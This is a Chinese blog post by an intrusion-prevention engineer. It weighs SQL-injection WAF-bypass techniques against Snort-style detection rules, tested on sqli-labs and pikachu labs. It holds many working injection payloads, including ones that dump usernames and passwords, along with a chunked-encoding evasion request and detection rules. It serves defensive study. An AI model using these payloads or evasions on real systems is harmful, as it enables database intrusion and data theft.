最近看暗月系统的讲述了SQL绕WAF的思路,就想着这些绕过方式对我们IDP作用几何?所以记录了这篇文章,以IDP的角度来分析反绕过。
IDP的规则有多种分类方式,这里我就将其分为普通规则与通用规则。
在测试上,我会拿本地的IDS工具snort做测试,最后会拿公司的IDP设备,搭配公司的IDP规则库做测试。
其他:
IPS(Intrusion Prevention System),即入侵防御系统,有时又称IDP(Intrusion Detection and Prevention),即入侵检测和防御系统,指具备IDS的检测能力,同时在线部署在网络中、具备实时中止网络入侵的安全技术设备。
总结:
IDS是检测系统,IPS是其升级版(别名IDS,我们内部自称IDP)
最后:
文章的重点,其实是聊一聊SQL注入攻击中,有哪些攻击方式是产品的软肋,是产品不能防御,以及难以防御的。如:
pcre:"/s(%00)?c(%00)?r(%00)?i(%00)?p(%00)?t/i"
?这就要求产品可以对数据规范化处理。./.././../.../
这种攻击形式,要求产品具备规范化请求头的能力。IDP角度分析:
实际意义不大,这种空格绕过出现在请求头里面,可以使用uricontent关键字匹配规范化之后的 URI 请求字段
IDP角度分析:
实际意义不大,规则一般都是不区分大小写的
将字符串设置为大小写,例如 and 1=1 转成 AND 1=1 AnD 1=1
01 获取敏感信息,使用命令:
http://192.168.239.132/sqli-labs-master/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,version(),3%0Aand%0A%271
02 获取账号密码,使用命令:
http://192.168.239.132/sqli-labs-master/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271
实际意义不大,虽然对通用型规则无效(通用型规则注重的是攻击特征),但是在针对某系统的漏洞点上,有些不成熟的规则可能会把路径与攻击特征合并到一起,在别的攻击方式上可能存在绕过。但是在SQL注入上,不会出现。
原因:如果规则是如下图,确实可以实现浮点型绕过,但是SQL注入中往往会出现id=-1'
,所以正则如果能写成id=\d+
的绝对是个菜鸡。
select \N;
代表** null,**可以通过插入空值的方式进行绕过。
使用命令:
http://192.168.239.132/sqli-labs-master/Less-1/?id=\N%27union%20select%20user(),\N,3--+
意义不大,在SQL防御中,union、select这种词汇,有时候可能是别的词汇中的一部分,如unionMisPosDivIgnore、selectManangeType,因此写规则的时候务必使用\b
限制字符边界,但即便如此,规则的书写也是多样的,如下两种,我根本不care你的空值绕过:
alert tcp any any -> any any (msg:"NULL反绕过-方式1"; flow:to_server; uricontent:"/sqli-labs-master/Less-1/?id"; uricontent:"union select"; metadata:service http; sid:1; rev:1;)
alert tcp any any -> any any (msg:"NULL反绕过-方式2"; flow:to_server; pcre:"/sqli-labs-master\x2fless-1\x2f\x3fid=.*?union\b\s+\bselect\b/iU"; metadata:service http; sid:2; rev:1;)
IDP角度分析:
情况同第4节的NULL值绕过,我根本不关心你是单引号还是双引号,我关心的是有没有SQL注入语句。
如果 waf 拦截过滤单引号的时候,可以使用双引号。在 mysql 里也可以用双引号作为字符串。
IDP角度分析:
情况同第4节的NULL值绕过,我根本不关心你有没有做编码,我关心的是有没有SQL注入语句。
如果 gpc 开启了,但是注入点是整形,也可以用十六进制来绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() AND TABLE_NAME='users' limit 1);
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() AND TABLE_NAME=0x7573657273 limit 1)
IDP角度分析:
规则不会关心你要查询哪个库的哪个表,这种绕过对IDP完全无效
以下两条查询语句,执行的结果是一致的,但是有些waf 的拦截规则并不会拦截**[库名].[表名]**这种模式。
在 **mysql **查询可以使用 **distinct **
去除查询的重复值。可以利用这点突破 waf 拦截。
命令如下:
select * from users where id=-1 union distinct select 1,2,3 from users;
select * from users where id=-1 union distinct select 1,2,version() from users;
实操效果:?id=-1' union distinct select 1,2,version() from users--+
一种行之有效的绕过思路,以snort为例,精准匹配漏洞的普通规则一般可能简单的写成:
uricontent:"union select";
或者正则写成\x3fid=.*?union\b\s+\bselect\b
这个时候就存在绕过的可能。
但这种绕过对通用型规则仍然无效,攻击行为中的关键字仍然可以被通用型规则捕获到。普通规则可能因为规则简单存在绕过的可能,但也可以通过提取注入的关键字进行防御,如下。
IDP角度分析:
情况同第4节的NULL值绕过,我根本不关心你是有没有反引号,我关心的是有没有SQL注入语句。
在 mysql 可以使用 ```绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
命令:?id=-1' union distinct select 1,2,version() from
users--+
在 php 语言中 id=1&id=2
后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。如 id=1%00&id=2 union select 1,2,3
。
有些 waf 回去匹配第一个 id 参数 1%00
,%00
是截断字符,waf 会自动截断,从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3
从绕过拦截。
使用命令(下面两种命令作用一样):
?id=%00&id=-1' union distinct select 1,2,version() from
users--+
?id=11%00&id=-1' union distinct select 1,2,version() from
users--+
关键字依然存在,依然可以被通用型规则拦截;普通规则也可以轻松拦截,如下:
alert tcp any any -> any any (msg:"截断绕过"; flow:to_server; uricontent:"sqli-labs-master/Less-1/?id"; nocase; pcre:"/\x3fid=.*?union\b.*?\bselect\b/iU"; metadata:service http; sid:1; rev:1;)
说白了,snort拦截是没问题的,只是规则的开发人员是否有足够的经验和安全意识。
原理如下,通过截取字符串来进行sql注入,甚至可以通过转成16进制避免出现单引号。
使用命令(下面两条命令作用一样):
?id=1' and (select(substr(database() from 1 for 1)))=0x73--+
?id=1' and (select(substr(database() from 1 for 1)))='s'--+
仍然存在关键字,对通用型规则无效,对普通规则有效。
出于性能的需求,普通规则不会做太多放绕过的设定,否则每条普通规则都拿全面防御来要求自己,设备就等着死翘翘吧。对于SQL注入,甚至别的攻击形式,普通规则的姿态是拦截常见的攻击形式,如常见的联合查询,对于这种截取字符串的注入形式,可以单独开发针对截取字符串的通用型规则。
IDP角度分析:
情况同第11节,不再赘述
这个 mid
函数跟 substr
函数功能相同,如果 substr
函数被拦截或者过滤,可以使用这个函数代替。
使用命令:?id=1' and (select(mid(database() from 1 for 1)))=0x73--+
IDP角度分析:
存在常用的union select两个关键字,别说通用规则,普通规则都绕不过去
使用 join
连接两个表
用法:
union select 1,2
等价于 union select * from (select 1)a join (select 2)b
(a 和 b 分别是表的别名)
使用命令:
?id=-1' union select * from (select 1)a join (select user())b join(select 3)c--+
IDP角度分析:
情况同第11节,不再赘述
使用 like 模糊查询 select user() like '%r%';
模糊查询成功返回 1, 否则返回 0
找到第一个字符后继续进行下一个字符匹配。从而找到所有的字符串 最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号。从而绕过 waf 拦截。但是对IDP就不行了。
使用命令:
?id=1' and (select user() like '%root%')--+
IDP角度分析:
我IDP就不关心逗号问题
SQL 注入时,如果需要限定条目可以使用 limit 0,1
限定返回条目的数目是一条,如果对逗号进行拦截时,可以使用 limit 1
默认返回第一条数据。也可以使用 limit 1 offset 0
从零开始返回第一条记录,这样就绕过 waf 拦截了。
使用命令:
?id=-1'union select 1,2,version() limit 1 offset 0--+
IDP角度分析:
情况同第11节,不再赘述
目前主流的 waf 都会对 id=1 and 1=2
、id=1 or 1=2
、id=0 or 1=2
、id=0 xor 1=1 limit 1
、id=1 xor 1=2
这些常见的 SQL 注入检测语句进行拦截。这里有一些替代字符转换,可以尝试绕过。
所以可以转换成这样
select * from users where id not in (2,3);
select * from users where id in (2,3);
select * from users where id=1 && 2=1+1;
select * from users where id=1 && 2=1-1;
IDP角度分析:
情况同第11节,不再赘述
思路就是把第11、12节中截取出来的字符转为ascii码,来避开联合查询注入。
命令:
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把 r
换成 ascii 码 如果开启 gpc int 注入就不能用了。可以看到构造的 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。
注入命令:?id=1' and ascii(substring(user(),1,1))=114--+
IDP角度分析:
情况同第11节,不再赘述
如果程序会对=
进行拦截 可以使用 like
、rlike
、regex
或者使用<
、>
原始信息:
<
、>
绕过select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
绕过测试:?id=1' and ascii(substring(user(),1,1))<115--+
like
、rlike
绕过select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
regex
绕过命令:
select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');
IDP角度分析:
此处要看客户是怎么部署产品的了
有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。双关键字绕过(若删除掉第一个匹配的 union 就能绕过)如:
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+
,从而绕过拦截。
IDP角度分析:
多重编码对IDP完全无效。
有些程序会解析二次编码,造成 SQL 注入,url 经过两次编码过后,waf 是不会拦截的。
特意问了下隔壁的WAF部门,这种问题不存在。除非再多来好几次编码才行。IDP也有响应的关键字对其解析,询问产品部之后得知,设备可以把N次解码的URL直接解码到原始状态。
IDP角度分析:
参见第4节,IDP看关键字,出现即可拦截
使用参数拆份,来尝试绕过 waf 拦截。
IDP角度分析:
情况同第11节,不再赘述
使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的updatexml()
函数
and polygon (()select * from(select user ())a)b );
分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。
传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。
Content-length 面临的问题:由于 Content-Length 字段必须真实反映实体长度,但是对于动态生成的内容来说,在内容创建完之前,长度是不可知的。这时候要想准确获取长度,只能开一个足够大的 buffer,等内容全部生成好再计算。这样做一方面需要更大的内存开销,另一方面也会让客户端等更久。因此我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界——分块编码(Transfer-Encoding: chunked)。
对于动态生成的应答内容来说,内容在未生成完成前总长度是不可知的。因此需要先缓存生成的内容,再计算总长度填充到 Content-Length,再发送整个数据内容。这样显得不太灵活,而使用分块编码则能得到改观。分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输。
二、如何使用 chunked 编码
如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方式。接下来会发送数量未知的块,每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有CRLF("\r\n")两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。消息最后以 CRLF 结尾。在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。
理论太费劲,直接看效果就明白了。来到pikachu靶场,拦截一个包,如下:
来到重放模块,修改为分块传输
首先在 http 头加上 Transfer-Encoding: chunked
表示分块传输传送,第一行是长度,第二行是字符串,0 表示传输结束,后面跟上两个换行。
实操哪能这么麻烦,直接下载分块传输的插件。Chunked coding converter
插件主页:https://github.com/c0ny1/chunked-coding-converter
插件下载地址:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.4.0
重新抓个新的包,然后发送到重放模块。
使用命令:id=-1 union select 1,user()--+&submit=%E6%9F%A5%E8%AF%A2
注入成功
编码之后的请求包内容如下:
以第16行为例,数字后面跟了个分号,分号后面跟了一些奇怪的字符。这些字符的作用可有可无,主要是用来充当垃圾字符,来绕WAF的
POST /pikachu-master/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.40.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 612
Origin: http://192.168.40.134
Connection: close
Referer: http://192.168.40.134/pikachu-master/vul/sqli/sqli_id.php
Cookie: PHPSESSID=vqnrl5gph11bi2fj51crv2t562
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
3;6VxWOUqyc9Tf9sH
id=
2;rVtP0HWnCbPaDrPYMfIz2IC
-1
2;oHZGf
u
3;UkBTycx1hrm
nio
3;tfrsHZ4OSnPndOQ
n s
1;DWXgQ6a97QqX9AyNNjf28FQYV
e
2;BoOig
le
2;gUpeTgn5WX
ct
3;xc8BkXjsrZaBJE8fIPM6hEX8
1,
3;hmrjicGd3wt4EMUqAWm8
use
1;EW6PjJNgSeyi
r
3;C4PINq3e5iO9H
()-
1;2r5rqNfOe06ovmrzW
-
2;ZG67X9TzI7q80Iz3J6H
+&
1;iRO44Zcxg
s
3;FOGhTEPEMOUefgPxDg
ubm
1;KVy4cP
i
2;u3knvL0umlu
t=
2;j7khCd90yPsV0mM6hgP
%E
1;w1GtHTTPwjCiRofa29M9lYaF
6
3;pAIfQWqFSUf5sKY7Wxuo
%9F
1;uPGAtCEgorhawRhQ
%
2;fSDMt9ON
A5
3;63pqpL9k5sst
%E8
2;NSrls
%A
3;31mziTeE
F%A
1;gWou0rCzvggTycs0ogb
2
0
在数据包明文中已经找不到原始的关键词union、select了!!!(请求包的内容同上面的代码块中的内容)
这个时候已经越过了snort支持的范围,需要设备自己有相关的能力。
如果仍然想要进行检测,也有一些思路,如果是手工做转码的话,会存在union、select关键字,正则使用s
修饰符做多行匹配即可。如果是使用此插件的话,union、select关键字消失了,可以通过开发针对此插件的规则,但是有误报的可能,并且实际意义不大。
IDP角度分析:
没关心过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。白名单通常有目录:
普通的注入:?id=-1' union select 1,2,version()--+
加了白名单的注入:?id=/admin.php?&id=-1' union select 1,2,version()--+
其实就是把原本的?id=-1'
修改为?id=/admin.php?&id=-1'
关于为啥可以这样写,请参看第15节
IDP角度分析:
没关心过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。 例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会 进行检测从而绕过 waf 拦截。
攻击思路和攻击方法完全同上一节,利用了第15节的&
来添加一些静态文件,尝试绕过
普通的注入:?id=-1' union select 1,2,version()--+
现在的注入:?id=/test.jpg?&id=-1' union select 1,2,version()--+
其实就是把?id=-1'
修改为?id=/test.jpg?&id=-1'
甚至可以改成这种:?hack.js?&id=-1' union select 1,2,version()--+
http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止。
看着挺复杂的,其实操作起来没那么麻烦。
这里需要POST形式的,以sqli-labs靶场第11关为例
普通注入:
uname=' union select(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit
** pipline注入:**
首先先捕获一个普通的POST包
攻击特征原样的存在,对IDP完全没作用
IDP角度分析:
攻击特征原样的存在,对IDP完全没作用
在 http 头里的 Content-Type 提交表单支持三种协议:
文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
IDP角度分析:
情况同第11节,不再赘述
当 order by
被过滤时,无法猜解字段数,此时可以使用 into
变量名进行代替。
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则,请求被拦截,如果程序中能同时接收get、post,变换请求方式有几率能绕过检测。
有绕过可能,对普通规则可能有效,对通用型规则无效。
通用性规则主要检查的是有没有攻击行为,因此对通用性规则无效。普通规则在匹配漏洞的时候,出于性能考虑,会添加一些修饰符,告诉设备漏洞点在什么位置。如:http_method
会指明HTTP方法。如果原本是GET方法的攻击,改成了POST方法,会导致http_method
被绕过,出现数据内容与规则不符合,更不用说uricontent
、 http_uri
这种限制url内容的关键字了。
IDP角度分析:
攻击特征原样的存在,对IDP完全没作用
有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行, json 格式通常不会被拦截。所以可以尝试绕过 waf。
如下面形式的数据包:
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type:application/json
Content-Length: 38
Origin: http://192.168.0.115
Connection: close
Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
Upgrade-Insecure-Requests: 1
{'id':1 union select 1,2,3,'submit':1}
IDP角度分析:
有一定绕过的可能,数据包帧头过长时可能会超过设备的检测深度,导致绕过
可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截,如:
id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()
IDP角度分析:
攻击特征原样的存在,对IDP完全没作用
select 1,2 union select{x 1},user()
花括 左边是注释的内容,这样可以一些 waf 的拦截。
使用命令:?id=-1' union select {x 1},2,version()--+
IDP角度分析:
情况同第11节,不再赘述
其中,DISTINCT与select的顺序可以调换
select 1,2,3 from users where id=1 union DISTINCT select 1,2,3;
select 1,2,3 from users where id=1 union select DISTINCT 1,2,3;
其中,all与select的顺序可以调换
select 1,2,3 from users where id=1 union all select 1,2,3;
select 1,2,3 from users where id=1 union select all 1,2,3;
使用命令:?id=-1' union DISTINCT select 1,version(),3--+
目前很多 waf 都会对 union select 进行过滤,因为联合查询使用了这两个关键词,一般过滤这个两个字符,想用联合查询就很难了。可以使用换行 加上一些注释符进行绕过。
使用换行绕过:
GET型
使用命令:?id=-1' union /*sdfqwdsgs123456*/select 1,version(),3--+
POST型
选用sqllib第11关
payload:
uname=' union select
/*
sdf
123456789
qwejiknklfnaltkkoi
*/(select group_concat(table_name) from information_schema.tables where table_schema=database()),2#&passwd=123&submit=Submit
规则中使用多行匹配模式依然可以检查出攻击。之所以给了两颗星,是因为很多时候,基于性能考虑,规则没有使用多行匹配模式。导致存在绕过的可能。
IDP角度分析:
没关心过,可以拦截。
编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过。
比如请求包中我们可以把Content-Type中的charset的参数值改为ibm037,这个协议编码有些服务器是支持的。
这种攻击方式,对snort来说是致命打击,因为snort最多是使用http_client_body
做解码,目前不支持使用正则解码!
如果是把 '
转成 %27
,这种尚且能使用逻辑或进行匹配,但是如果对单词做了编码,只能看IDP是否支持请求体解码了。
IDP角度分析:
情况同第35节,snort无解
由于可以理解的原因,这里不对外公布。